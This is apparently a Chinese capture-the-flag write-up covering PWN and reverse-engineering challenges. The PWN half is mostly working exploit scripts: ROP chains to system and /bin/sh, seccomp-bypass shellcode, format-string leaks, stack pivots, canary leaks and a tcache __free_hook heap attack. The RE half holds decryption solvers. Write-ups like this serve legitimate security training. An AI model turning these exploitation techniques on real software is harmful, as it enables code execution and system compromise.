PWN giaopwn 64位无脑栈溢出,通过vuln
中的read
函数向buf
中写入大量数据,超出buf
变量的长度导致rbp
和返回地址被覆盖。
通过栈溢出漏洞劫持执行流,通过pop_rdi
将cat flag
字符串弹入rdi
寄存器作为system
参数,然后返回执行system
函数。
加的ret
指令是为了栈平衡。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf r() pop_rdi=0x0000000000400743 ret=0x00000000004004fe system=0x4006D2 cat_flag=0x601048 payload=b'\x00' *40 +p64(pop_rdi)+p64(cat_flag)+p64(ret)+p64(system) s(payload) ia()
ezstack main
函数会返回到stack
函数执行,stack
函数中存在栈溢出。
发现vuln
中存在system
函数,并且将输入的内容作为system
函数的参数执行。
但是对输入的内容做了过滤,如果内容中包含s、h、c、f
等字符则报错返回。
所以我们要拿到shell,必须输入一个不被过滤的字符。
$0
也可以用于获取shell。
exp1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf off=56 ret=0x000000000040101a payload=b'\x00' *off+p64(ret)+p64(elf.sym.vuln) sl(payload) sla("command\n" ,b"$0" ) ia()
ezorw #相似系统调用绕过沙箱
沙箱题
禁止了read、write、open、readv、writev、execveat
等系统调用。
常规的 orw 并不奏效,但是我们可以通过openat
和sendfile
来读取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013 0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013 0006: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0013 0007: 0x15 0x05 0x00 0x00000002 if (A == open) goto 0013 0008: 0x15 0x04 0x00 0x00000013 if (A == readv) goto 0013 0009: 0x15 0x03 0x00 0x00000014 if (A == writev) goto 0013 0010: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0013 0011: 0x15 0x01 0x00 0x0000024f if (A == 0x24f) goto 0013 0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0013: 0x06 0x00 0x00 0x00000000 return KILL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf shellcode=asm(shellcraft.openat(0 ,'/flag' )+shellcraft.sendfile(1 ,3 ,0 ,0x100 )) payload=asm(shellcode) r() sl(payload) ia()
ezfmt #格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf libc=ELF("./libc-2.31.so" ) vuln=0x40120D payload=b"%13$p%15$p" .ljust(0x28 ,b"a" )+p64(vuln) s(payload) ru("welcome to YLCTF\n" ) base=int (r(14 ),16 ) stack=int (r(14 ),16 )print ("base:" ,hex (base))print ("stack:" ,hex (stack)) base=base-0x024083 stack=stack-0x000120 print (hex (base))print (hex (stack)) pop_rdi=0x4012b3 system=base+libc.sym.system sh=base+next (libc.search(b"/bin/sh\x00" )) leave_ret=0x401241 payload=p64(pop_rdi)+p64(sh)+p64(system)+p64(0 )+p64(stack)+p64(leave_ret) s(payload) ia()
canary_orw 任意地址写修改got表打orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *def get_sb (): return libc.address + libc.sym['system' ], libc.address + next (libc.search(b'/bin/sh\x00' ))def dbg (c=0 ): if c: gdb.attach(io, c) else : gdb.attach(io) pause() s = lambda data: io.send(data) sa = lambda text, data: io.sendafter(text, data) sl = lambda data: io.sendline(data) sla = lambda text, data: io.sendlineafter(text, data) r = lambda num=4096 : io.recv(num) ru = lambda text: io.recvuntil(text) pr = lambda num=4096 : print (io.recv(num)) ia = lambda : io.interactive() ic = lambda : io.close() l32 = lambda : u32(io.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(io.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(io.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: io.success('%s -> 0x%x' % (s, num)) elf = ELF('canary' ) io = process([elf.path]) context(os=elf.os, arch=elf.arch, log_level='debug' ) jmp_esp=0x40081b rbp=0x0000000000400c4b ru(b"journey\n" ) s(p64(0x400820 )) got=elf.got["__stack_chk_fail" ] s(p64(0 )+p64(got)) ru(b"magic\n" ) s(p64(0x0000000000400a5f )) payload=p64(jmp_esp) shellcode="" shellcode+=shellcraft.open ("flag" ) shellcode+=shellcraft.read("rax" ,0x601060 ,0x100 ) shellcode+=shellcraft.write(1 ,0x601060 ,0x100 ) shellcode=asm(shellcode) payload+=shellcode r() s(payload) ia()
ezheap
libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字
第一个思路显然是修改sizelist,但是想起来就算修改了size也不能edit来布置堆,同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的
这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free_hook,然后打free_hook来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import * io = process("./pwn" ) elf = ELF("./pwn" ) libc=elf.libc menu="Input your choice" def add (size,cont ): io.sendlineafter(menu,str (1 )) io.sendlineafter("Size :" ,str (size)) io.sendafter("Content :" ,cont)def delete (idx ): io.sendlineafter(menu,str (2 )) io.sendlineafter("Index :" ,str (idx))def edit (addr ): io.sendlineafter(menu,str (3 )) io.sendafter("content :" ,addr)def show (idx ): io.sendlineafter(menu,str (4 )) io.sendlineafter("Index :" ,str (idx)) add(0x500 ,b'a' ) add(0x500 ,b'/bin/sh\x00' ) add(0x500 ,b'a' ) add(0x500 ,b'a' ) add(0x100 ,b'a' ) delete(2 ) add(0x500 ,b'a' *8 ) show(5 ) io.recvuntil(b'a' *8 ) libcbase=u64(io.recv(6 ).ljust(8 ,b"\x00" ))-0x1ecbe0 print (hex (libcbase)) free_hook= libcbase +libc.sym['__free_hook' ] system=libcbase+libc.sym['system' ] mp_=libcbase+0x1EC280 +0x50 edit(p64(mp_)) delete(3 ) delete(0 ) add(0x500 ,p64(0 )*13 +p64(free_hook)) add(0x500 ,p64(system)) delete(1 ) io.interactive() io.sendline('cat flag' )print (io.recvline())
msg_bot #protobuf
shortshell 程序用mprotect
函数开辟了一段可执行代码的区域,而题目限制向buf
输入5个字节,并且将buf
作为函数执行。
我们可以通过适用jmp
跳转到backdoor
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf current_address = 0x404069 target_address = 0x401270 relative_offset = target_address - current_address print (f"Relative offset: {relative_offset:#x} " ) shellcode = asm(f""" jmp $+{relative_offset} # 生成向目标地址的跳转 """ )print (f"Shellcode length: {len (shellcode)} " ) payload = shellcode s(payload) ia()
ezstack2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwncli import *from LibcSearcher import * cli_script() io: tube = gift.io elf: ELF = gift.elf ru("good stack\n" ) rdi_addr = 0x0000000000400823 vuln = 0x400757 ret = 0x000000000040056e payload=b"a" *(0x30 +8 )+p64(ret)+p64(rdi_addr)+p64(0x114514 )+p64(vuln) sl(payload) ia()
canary #泄露canary
gift函数是一个直接的栈溢出,溢出的长度充足,而main函数的read可以进行一次溢出覆盖rbp和retaddr,由于开启了canary所以我们要想正常的构造rop链必然要想办法绕过。
仔细观察canary会知道,他是把rbp-0x8处的值和TEB结构体中的值进行异或对比,而rbp-0x8的canary肯定不是凭空出现,存在一个指令用来赋值,如果我们劫持rbp寄存器,就可以做到把canary写到bss段上。
而这里之所以我输出字符串要用strcpy
和write 就是为了使得write函数的参数调用也和rbp有关,这样就可以劫持rbp来泄露bss段上canary从而进行正常的ret2libc。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from ctypes import * io = process("./pwn" ) elf = ELF("./pwn" ) libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so" ) context.log_level = "debug" rdi_addr = 0x000000000004013e3 puts_got = elf.got['puts' ] puts_plt = 0x4010a0 gift_addr = elf.symbols['gift' ] bss_addr = elf.bss(0xe00 ) ret_addr = 0x000000000040101a io.recvuntil("Do you want to enter other functions?" ) io.sendline(b'0' ) payload = p64(bss_addr) + p64(0x401296 ) io.send(payload) io.recvuntil("Do you want to enter other functions?" ) io.sendline(b'0' ) payload = p64(bss_addr + 0x49 ) + p64(0x4012EA ) io.send(payload) io.recv() canary_addr = u64(io.recv(7 ).ljust(8 , b'\x00' )) << 8 success("canary: " + hex (canary_addr)) io.sendline(b'1' ) payload = cyclic(0x38 ) + p64(canary_addr) + cyclic(0x8 ) + p64(ret_addr) + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(gift_addr) io.send(payload) libc_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 , b'\x00' )) - libc.sym['puts' ] success("libc_addr: " + hex (libc_addr)) system_addr = libc_addr + libc.sym['system' ] binsh_addr = libc_addr + next (libc.search(b"/bin/sh" )) payload = cyclic(0x38 ) + p64(canary_addr) + cyclic(0x8 ) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) io.send(payload) io.sendline("cat flag" )print (io.recvline()) io.interactive()
maigcread #bss段栈迁移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwncli import * cli_script() io=gift["io" ] elf=gift["elf" ] libc=ELF("./libc-2.23.so" ) context.arch=elf.arch rdi=0x0000000000400723 ret=0x00000000004004c6 leave=0x400675 bss=elf.bss()+0x500 vuln=0x40063a r() pay1=b'a' *64 +p64(bss+0x40 )+p64(leave) s(pay1) pay1=b'a' *64 +p64(bss+0x40 +64 )+p64(leave) s(pay1) pay2=p64(bss+0x50 )+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693 ) s(pay2) leak=u64(r(6 )+b'\x00' *2 ) base=leak-libc.sym['puts' ]print (hex (base)) sys=base+libc.sym['system' ] sh=base+libc.search("/bin/sh\x00" ).__next__()print ("sh" ,hex (sh)) ru(b"just read!\n" ) pay3=b'a' *64 +p64(bss+0x90 )+p64(leave) s(pay3) pay4=p64(0 )+p64(rdi)+p64(sh)+p64(ret)+p64(sys) s(pay4) ia()
futureheap 略
Secret 主函数调用了check_password
函数
只要输入uperSecretPassword
即可查看flag
1 2 3 4 5 6 7 8 9 10 11 int check_password () { char s[64 ]; printf ("Enter the secret password: " ); fgets(s, 128 , stdin ); if ( strcmp (s, "SuperSecretPassword\n" ) ) return puts ("Wrong password! Try again." ); puts ("Access granted!" ); return secret_vault(); }
1 2 3 4 5 6 7 8 9 10 11 from pwncli import * cli_script() io: tube = gift.io elf: ELF = gift.elf payload="SuperSecretPassword" r() sl(payload) ia()
ezstack3 #栈迁移
第一个printf
函数可以将buf
的地址泄露出来,从而通过gdb调试可以将ebp
的地址泄露出来。
这样我们在第二次输入的时候可以确定自己payload的位置。
null #off-by-null
略
show_me_the_code #llvm
略
RE xor exeinfo 发现程序加了 upx 壳,直接利用 upx 脱壳机脱壳。
然后分析代码,发现为简单异或。直接异或0x1c
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char **argv, const char **envp) { int v3; int v4; int v5; int v6; int i; __int64 v9; v9 = getenv("GZCTF_FLAG" , argv, envp); for ( i = 0 ; i <= 43 ; ++i ) { v4 = i; v3 = *(i + v9) ^ 0x1C ; *(i + v9) ^= 0x1C u; } printf ("%s" , v9, v3, v4, v5, v6); return 0 ; }
1 2 3 4 5 6 7 8 enc=[0x45 ,0x50 ,0x5f ,0x48 ,0x5a ,0x67 ,0x28 ,0x25 ,0x29 ,0x7a ,0x2c ,0x7a ,0x24 ,0x7e ,0x31 ,0x2c ,0x2c ,0x2d ,0x2f ,0x31 ,0x28 ,0x7d ,0x29 ,0x24 ,0x31 ,0x25 ,0x7d ,0x28 ,0x7d ,0x31 ,0x25 ,0x25 ,0x25 ,0x2e ,0x28 ,0x2f ,0x25 ,0x2d ,0x79 ,0x2a ,0x2c ,0x2c ,0x61 ,0x1c ] flag="" for i in range (43 ): flag+=chr (enc[i]^0x1c )print (flag)
xorplus 魔改rc4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 enc=[0x91 ,0x86 ,0x1b ,0x2d ,0x9e ,0x6f ,0x58 ,0x31 ,0x46 ,0xf0 ,0xed ,0xa2 ,0xcc ,0x90 ,0x22 ,0x15 ,0x8d ,0xa2 ,0x61 ,0x2d ,0x80 ,0x5a ,0x74 ,0x16 ,0x6c ,0x75 ,0x81 ,0x46 ,0x7e ,0x26 ,0xb5 ,0x9f ,0x85 ,0x76 ,0x5d ,0xfe ,0xb7 ,0x52 ,0x54 ,0xc8 ,0x4 ,0x35 ,0xa6 ] a=[0 ]*256 key="welcometoylctf" for i in range (256 ): a[i]=i v6 = 0 for j in range (256 ): v6=(ord (key[j%len (key)])+v6+a[j] + 1300 )%256 v3 = a[j] a[j] = a[v6] a[v6] = v3 v7 = 0 v8 = 0 for k in range (len (enc)): v8 = (v8 + 1 ) % 256 v7 = (v7 + a[v8]) % 256 temp = a[v8] a[v8] = a[v7] a[v7] = temp enc[k] = (enc[k] - 20 ) & 0xff enc[k] ^= a[(a[v7] + a[v8]) % 256 ]print (bytes (enc))
eago #xor
ida打开分析伪代码
根据fmt
这个符号就可以判断程序为 go 语言编写。
我们在下面的代码中发现了一个异或:v17.array[v4] ^= v4 + 53;
猜测v17.array
就是密文数组,尝试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 void __fastcall main_main () { __int64 v0; __int128 v1; string v2; uint8 *str; int v4; __int64 v5; int i; int len; runtime_tmpBuf v8; uint8 *array ; _QWORD v10[3 ]; _slice_interface_ a; string v12; io_Writer v13; io_Writer v14; _slice_interface_ v15; _slice_interface_ v16; _slice_uint8 v17; while ( &a <= *(v0 + 16 ) ) runtime_morestack_noctxt(); v12.str = "GZCTF_FLAG" ; v12.len = 10LL ; v2 = os_Getenv(v12); v10[0 ] = v2.str; a.array = &RTYPE_string_0; a.len = &off_4B3148; v15.len = 1LL ; v15.cap = 1LL ; v13.tab = &go_itab__ptr_os_File_comma_io_Writer; v13.data = os_Stdout; v15.array = &a; fmt_Fprintln(v13, v15); str = v2.str; v15.array = v2.len; v17 = runtime_stringtoslicebyte(v8, *&v15.array ); array = v17.array ; len = v17.len; v4 = 0LL ; while ( v17.len > v4 ) { i = v4; v17.array [v4] ^= v4 + 53 ; *&v10[1 ] = v1; v5 = v17.array [v4]; v10[1 ] = &RTYPE_uint8_0; v10[2 ] = &runtime_staticuint64s[v5]; v14.data = os_Stdout; v16.len = 1LL ; v16.cap = 1LL ; v14.tab = &go_itab__ptr_os_File_comma_io_Writer; v16.array = &v10[1 ]; fmt_Fprintln(v14, v16); v4 = i + 1 ; v17.array = array ; v17.len = len; } }
猜对了,果然逆向还是要靠猜。
1 2 3 4 5 6 7 8 9 enc = [108 , 122 , 116 , 108 , 127 , 65 , 15 , 13 , 8 , 14 , 11 , 38 , 115 , 33 , 110 , 113 , 118 , 37 , 117 , 101 , 125 , 121 , 46 , 125 , 96 , 47 , 127 , 51 , 50 , 127 , 99 , 53 , 103 , 110 , 99 , 57 , 107 , 57 , 107 , 104 , 100 , 105 , 34 ] flag="" for i in range (len (enc)): flag+=chr (enc[i]^i+53 )print (flag)
math #数独
ezvvvvm #vm
calc #源代码级混淆
Cr4ckVWe wasm #wasm逆向
ida9可以直接反编译wasm程序,我们直接利用ida9打开。
题目给出的是一个wasm文件
该文件可以直接被html调用,由于底层是C/C++,实际运行速度会比js等脚本语言快
如果有ida9.0,拖进去就可以直接分析了
如果没有ida9.0需要使用到wasm2c的工具,先将其转化为c文件
再进行-c编译即可.
直接gcc wasm.c会报错,因为很多wasm的函数没有具体的实现。但是我们可以只编译不链接,我们关心的只是程序本身的逻辑,不需要真正编译出能运行的elf来。
注意这里gcc编译的时候,需要指定wabt项目内的wasm-rt.h,wasm-rt-impl.c,wasm-rt-impl.h三个文件的路径(-I参数),或者把这三个文件放到当前目录。
编译出来的文件,用ida看就好看很多了。
如何找入口点?一般来说其实main函数都在这边__int64 w2c_f7()
但是有可能主体加密不在main函数所以主要关注:
三点几啦饮茶先 #魔改tea加密
魔改了delta以及加密循环轮数。包括左移和右移这些。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #include <stdio.h> #include <stdint.h> void decrypt (uint32_t * v, uint32_t * key) { uint32_t v0 = v[0 ], v1 = v[1 ], i,delta=289739961 ,sum=delta*40 ; uint32_t k0 = key[0 ], k1 = key[1 ], k2 = key[2 ], k3 = key[3 ]; for (i = 0 ; i < 40 ; i++) { v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum>>11 ) & 3 ]); sum -= delta; v0 -= (((v1 << 2 ) ^ (v1 >> 3 )) + v1) ^ (sum + key[sum & 3 ]); } v[0 ] = v0; v[1 ] = v1; } unsigned int keys[] = {0x1001 ,0x2002 ,0x3003 ,0x4004 };unsigned int cipher[] = { 0x72093D7C ,0xB60BF47D };int main () { uint32_t *v = (uint32_t *)cipher; uint32_t *k = (uint32_t *)keys; decrypt(v,k); printf ("%u\n" ,v[0 ]); printf ("%u\n" ,v[1 ]); return 0 ; }
ezapk #z3
mmmmmmmov #movofuscator混淆
keygen_rust 略
ezmaze 略
case #ctypes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import * import ctypes import codecs context(os='linux' , arch='amd64' , log_level='debug' ) def rot13 (text ): return codecs.encode(text, 'rot_13' ) io =remote("challenge.yuanloo.com" ,{PORT}) libc=ELF("./libc.so.6" ) rand=ctypes.CDLL("./libc.so.6" ) rand.srand(rand.time(0 )) m="" for i in range (43 ): key = rand.rand()%0xff temp = int (io.recvuntil("," )[:-1 ],16 ) m +=chr (temp^key) print (rot13(m)) io.interactive()
twocry MAZE